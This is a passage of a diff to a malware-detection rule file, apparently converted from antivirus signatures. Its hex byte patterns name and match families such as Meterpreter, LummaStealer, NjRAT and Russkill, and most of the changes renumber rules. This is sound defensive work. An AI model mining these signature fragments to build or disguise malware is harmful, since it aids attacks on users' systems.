63 78 00 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 75 73 73 6b 69 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_1967{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 75 73 73 6b 69 6c 6c 2e 41 00 01 00 10 03 84 c0 74 06 83 7d f8 27 7c 90 14 6a 5a e8 90 00 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 55 52 4c 3a 74 65 6d 70 75 72 69 2e 6f 72 67 2e 41 00 01 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_1968{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 55 52 4c 3a 74 65 6d 70 75 72 69 2e 6f 72 67 2e 41 00 01 00 16 01 74 00 65 00 6d 00 70 00 75 00 72 00 69 00 2e 00 6f 00 72 00 67 00 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 46 53 31 38 2e 53 74 61 63 6b 42 61 73 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_1969{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 46 53 31 38 2e 53 74 61 63 6b 42 61 73 65 2e 41 00 01 00 11 03 64 8b 0d 18 00 00 00 8b 90 04 01 02 59 79 04 90 00 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 50 75 6d 62 61 2e 44 00 01 00 1a 03 8d } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_1970{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 50 75 6d 62 61 2e 44 00 01 00 1a 03 8d 55 a4 b8 0d 00 00 00 e8 90 01 04 ff 75 a4 8d 45 b0 ba 05 00 00 00 e8 90 00 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 57 69 6e 36 34 2f 4d 65 74 65 72 70 72 65 74 65 72 21 77 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_1971{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 36 34 2f 4d 65 74 65 72 70 72 65 74 65 72 21 77 73 32 5f 33 32 00 01 00 0f 01 49 be 77 73 32 5f 33 32 00 00 41 56 49 89 e6 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 65 78 70 69 72 6f 5f 72 65 74 75 72 6e 5f 6f 65 70 5f 6c } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_1972{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 65 78 70 69 72 6f 5f 72 65 74 75 72 6e 5f 6f 65 70 5f 6c 6f 77 66 69 5f 36 34 00 01 00 0d 01 41 5f 41 5e 41 5d 41 5c 5f 5e 5b c9 e9 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 4c 4f 57 46 49 3a 57 6f 72 6d 3a 57 69 6e 33 32 2f 47 61 6d 61 72 75 65 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_1973{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + strings : $a_57_0 = {49 3a 57 6f 72 6d 3a 57 69 6e 33 32 2f 47 61 6d 61 72 75 65 2e 41 42 00 01 00 11 01 00 4c 49 42 52 41 52 59 2e 64 6c 6c 00 6c 6e 6b 00 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 4c 6f 77 46 69 3a 44 4f 53 57 69 6e 33 32 2f 52 6f 76 6e 69 } //19491 condition: ((#a_57_0 & 1)*19491) >=1 } -rule _InfrastructureShared_1960{ +rule _InfrastructureShared_1974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20461,7 +20625,7 @@ rule _InfrastructureShared_1960{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_1961{ +rule _InfrastructureShared_1975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20471,7 +20635,7 @@ rule _InfrastructureShared_1961{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_1962{ +rule _InfrastructureShared_1976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20481,7 +20645,7 @@ rule _InfrastructureShared_1962{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_1963{ +rule _InfrastructureShared_1977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20491,7 +20655,7 @@ rule _InfrastructureShared_1963{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_1964{ +rule _InfrastructureShared_1978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20501,7 +20665,7 @@ rule _InfrastructureShared_1964{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_1965{ +rule _InfrastructureShared_1979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20511,7 +20675,17 @@ rule _InfrastructureShared_1965{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_1966{ +rule _InfrastructureShared_1980{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 42 49 21 4d 54 42 00 01 00 08 01 eb 08 0f 0c 1f 00 00 00 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_1981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20521,17 +20695,28 @@ rule _InfrastructureShared_1966{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_1967{ +rule _InfrastructureShared_1982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 14 01 46 61 69 6c 65 64 20 6f 6e 20 53 74 61 72 74 2c 20 25 73 00 00 00 78 3b 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 6f 62 69 6b 2e 53 47 21 4d 54 42 00 02 00 10 01 28 4c 00 00 0a 72 1f 03 00 70 28 4d 00 00 0a 0a 00 00 78 } //25635 + $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 14 01 46 61 69 6c 65 64 20 6f 6e 20 53 74 61 72 74 2c 20 25 73 00 00 00 78 3b 00 00 01 00 01 00 02 00 21 23 48 53 54 52 3a 53 75 6d 61 74 72 61 50 64 66 2e 42 00 01 00 0a 81 01 53 75 6d 61 74 72 61 50 44 46 01 00 0b 81 01 50 44 46 2d 58 52 65 61 64 65 72 00 00 78 } //25635 condition: ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1968{ +rule _InfrastructureShared_1983{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " + + strings : + $a_54_0 = {3a 53 75 6d 61 74 72 61 50 64 66 2e 42 00 01 00 0a 81 01 53 75 6d 61 74 72 61 50 44 46 01 00 0b 81 01 50 44 46 2d 58 52 65 61 64 65 72 00 00 78 3b 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 6f 62 69 6b 2e 53 47 } //18467 + $a_42_1 = {02 00 10 01 28 4c 00 00 0a 72 1f 03 00 70 28 4d 00 00 0a 0a 00 00 78 3b 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 6e 64 72 6f 6d 2e 53 47 41 21 4d 54 42 00 02 00 0e 01 28 10 00 00 06 11 01 28 11 00 00 06 13 09 00 } //19745 + condition: + ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*19745) >=1 + +} +rule _InfrastructureShared_1984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -20541,7 +20726,7 @@ rule _InfrastructureShared_1968{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_1969{ +rule _InfrastructureShared_1985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -20551,7 +20736,7 @@ rule _InfrastructureShared_1969{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_1970{ +rule _InfrastructureShared_1986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -20561,7 +20746,7 @@ rule _InfrastructureShared_1970{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_1971{ +rule _InfrastructureShared_1987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -20572,7 +20757,7 @@ rule _InfrastructureShared_1971{ ((#a_6c_0 & 1)*16675+(#a_3b_1 & 1)*0) >=2 } -rule _InfrastructureShared_1972{ +rule _InfrastructureShared_1988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -20582,7 +20767,7 @@ rule _InfrastructureShared_1972{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_1973{ +rule _InfrastructureShared_1989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -20592,7 +20777,7 @@ rule _InfrastructureShared_1973{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_1974{ +rule _InfrastructureShared_1990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -20602,7 +20787,7 @@ rule _InfrastructureShared_1974{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_1975{ +rule _InfrastructureShared_1991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -20612,7 +20797,7 @@ rule _InfrastructureShared_1975{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_1976{ +rule _InfrastructureShared_1992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -20622,7 +20807,7 @@ rule _InfrastructureShared_1976{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_1977{ +rule _InfrastructureShared_1993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -20632,7 +20817,7 @@ rule _InfrastructureShared_1977{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_1978{ +rule _InfrastructureShared_1994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -20643,18 +20828,18 @@ rule _InfrastructureShared_1978{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*26992) >=2 } -rule _InfrastructureShared_1979{ +rule _InfrastructureShared_1995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_54_0 = {3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 47 61 6e 69 70 69 6e 2e 41 00 01 00 04 01 f6 d0 34 7f 01 00 07 01 68 ae 08 00 00 66 c7 00 00 78 3b 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 75 6e 64 6f 2e } //18467 - $a_21_1 = {41 00 01 00 05 01 3d 01 80 00 00 01 00 05 01 3d 81 07 00 00 00 00 78 3b 00 00 02 00 02 00 02 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 09 01 2e 53 44 4b 2e 65 78 65 00 01 00 07 01 14 16 9a 26 16 2d f9 00 00 78 3b 00 00 04 00 04 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 } //25959 + $a_21_1 = {41 00 01 00 05 01 3d 01 80 00 00 01 00 05 01 3d 81 07 00 00 00 00 78 3b 00 00 02 00 02 00 02 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 09 01 2e 53 44 4b 2e 65 78 65 00 01 00 07 01 14 16 9a 26 16 2d f9 00 00 78 3c 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a } //25959 condition: ((#a_54_0 & 1)*18467+(#a_21_1 & 1)*25959) >=2 } -rule _InfrastructureShared_1980{ +rule _InfrastructureShared_1996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -20664,27 +20849,17 @@ rule _InfrastructureShared_1980{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_1981{ +rule _InfrastructureShared_1997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : - $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 09 01 2e 53 44 4b 2e 65 78 65 00 01 00 07 01 14 16 9a 26 16 2d f9 00 00 78 3b 00 00 04 00 04 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 52 41 54 2e 47 50 50 47 21 4d 54 42 00 04 00 0e 01 09 11 04 91 13 05 00 07 06 11 05 20 05 b9 00 00 78 } //25635 + $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 09 01 2e 53 44 4b 2e 65 78 65 00 01 00 07 01 14 16 9a 26 16 2d f9 00 00 78 3c 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 4d 6f 6e 69 64 6f 74 2e 42 00 01 00 12 03 02 6f 01 00 00 90 01 01 0a 20 90 01 04 03 58 20 90 00 00 00 } //25635 condition: ((#a_5f_0 & 1)*25635) >=2 } -rule _InfrastructureShared_1982{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 52 41 54 2e 47 50 50 47 21 4d 54 42 00 04 00 0e 01 09 11 04 91 13 05 00 07 06 11 05 20 05 b9 00 00 78 3c 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=4 - -} -rule _InfrastructureShared_1983{ +rule _InfrastructureShared_1998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20694,7 +20869,7 @@ rule _InfrastructureShared_1983{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1984{ +rule _InfrastructureShared_1999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20704,7 +20879,7 @@ rule _InfrastructureShared_1984{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1985{ +rule _InfrastructureShared_2000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20714,7 +20889,7 @@ rule _InfrastructureShared_1985{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1986{ +rule _InfrastructureShared_2001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20724,7 +20899,7 @@ rule _InfrastructureShared_1986{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1987{ +rule _InfrastructureShared_2002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20734,7 +20909,7 @@ rule _InfrastructureShared_1987{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1988{ +rule _InfrastructureShared_2003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20744,7 +20919,7 @@ rule _InfrastructureShared_1988{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1989{ +rule _InfrastructureShared_2004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20754,7 +20929,7 @@ rule _InfrastructureShared_1989{ ((#a_67_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1990{ +rule _InfrastructureShared_2005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20764,7 +20939,7 @@ rule _InfrastructureShared_1990{ ((#a_67_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1991{ +rule _InfrastructureShared_2006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20774,7 +20949,7 @@ rule _InfrastructureShared_1991{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1992{ +rule _InfrastructureShared_2007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20784,7 +20959,7 @@ rule _InfrastructureShared_1992{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1993{ +rule _InfrastructureShared_2008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20794,7 +20969,7 @@ rule _InfrastructureShared_1993{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1994{ +rule _InfrastructureShared_2009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20804,7 +20979,7 @@ rule _InfrastructureShared_1994{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1995{ +rule _InfrastructureShared_2010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20814,7 +20989,7 @@ rule _InfrastructureShared_1995{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1996{ +rule _InfrastructureShared_2011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20824,7 +20999,7 @@ rule _InfrastructureShared_1996{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1997{ +rule _InfrastructureShared_2012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20834,7 +21009,7 @@ rule _InfrastructureShared_1997{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1998{ +rule _InfrastructureShared_2013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20844,7 +21019,7 @@ rule _InfrastructureShared_1998{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1999{ +rule _InfrastructureShared_2014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20854,7 +21029,7 @@ rule _InfrastructureShared_1999{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2000{ +rule _InfrastructureShared_2015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20864,7 +21039,7 @@ rule _InfrastructureShared_2000{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2001{ +rule _InfrastructureShared_2016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20874,7 +21049,7 @@ rule _InfrastructureShared_2001{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2002{ +rule _InfrastructureShared_2017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20884,7 +21059,7 @@ rule _InfrastructureShared_2002{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2003{ +rule _InfrastructureShared_2018{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20894,7 +21069,7 @@ rule _InfrastructureShared_2003{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2004{ +rule _InfrastructureShared_2019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20904,7 +21079,7 @@ rule _InfrastructureShared_2004{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2005{ +rule _InfrastructureShared_2020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20914,7 +21089,7 @@ rule _InfrastructureShared_2005{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2006{ +rule _InfrastructureShared_2021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20924,7 +21099,7 @@ rule _InfrastructureShared_2006{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2007{ +rule _InfrastructureShared_2022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20934,7 +21109,7 @@ rule _InfrastructureShared_2007{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2008{ +rule _InfrastructureShared_2023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20944,7 +21119,7 @@ rule _InfrastructureShared_2008{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2009{ +rule _InfrastructureShared_2024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20954,7 +21129,7 @@ rule _InfrastructureShared_2009{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2010{ +rule _InfrastructureShared_2025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20964,7 +21139,7 @@ rule _InfrastructureShared_2010{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2011{ +rule _InfrastructureShared_2026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20974,7 +21149,7 @@ rule _InfrastructureShared_2011{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2012{ +rule _InfrastructureShared_2027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20984,7 +21159,7 @@ rule _InfrastructureShared_2012{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2013{ +rule _InfrastructureShared_2028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20994,7 +21169,7 @@ rule _InfrastructureShared_2013{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2014{ +rule _InfrastructureShared_2029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21004,7 +21179,7 @@ rule _InfrastructureShared_2014{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2015{ +rule _InfrastructureShared_2030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21014,7 +21189,7 @@ rule _InfrastructureShared_2015{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2016{ +rule _InfrastructureShared_2031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21024,7 +21199,7 @@ rule _InfrastructureShared_2016{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2017{ +rule _InfrastructureShared_2032{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21034,7 +21209,7 @@ rule _InfrastructureShared_2017{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2018{ +rule _InfrastructureShared_2033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21044,7 +21219,7 @@ rule _InfrastructureShared_2018{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2019{ +rule _InfrastructureShared_2034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21054,7 +21229,7 @@ rule _InfrastructureShared_2019{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2020{ +rule _InfrastructureShared_2035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21064,7 +21239,7 @@ rule _InfrastructureShared_2020{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2021{ +rule _InfrastructureShared_2036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21074,7 +21249,7 @@ rule _InfrastructureShared_2021{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2022{ +rule _InfrastructureShared_2037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21084,7 +21259,7 @@ rule _InfrastructureShared_2022{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2023{ +rule _InfrastructureShared_2038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21094,7 +21269,7 @@ rule _InfrastructureShared_2023{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2024{ +rule _InfrastructureShared_2039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21104,7 +21279,7 @@ rule _InfrastructureShared_2024{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2025{ +rule _InfrastructureShared_2040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21114,7 +21289,7 @@ rule _InfrastructureShared_2025{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2026{ +rule _InfrastructureShared_2041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21124,7 +21299,7 @@ rule _InfrastructureShared_2026{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2027{ +rule _InfrastructureShared_2042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21134,7 +21309,7 @@ rule _InfrastructureShared_2027{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2028{ +rule _InfrastructureShared_2043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21144,7 +21319,7 @@ rule _InfrastructureShared_2028{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2029{ +rule _InfrastructureShared_2044{ meta: 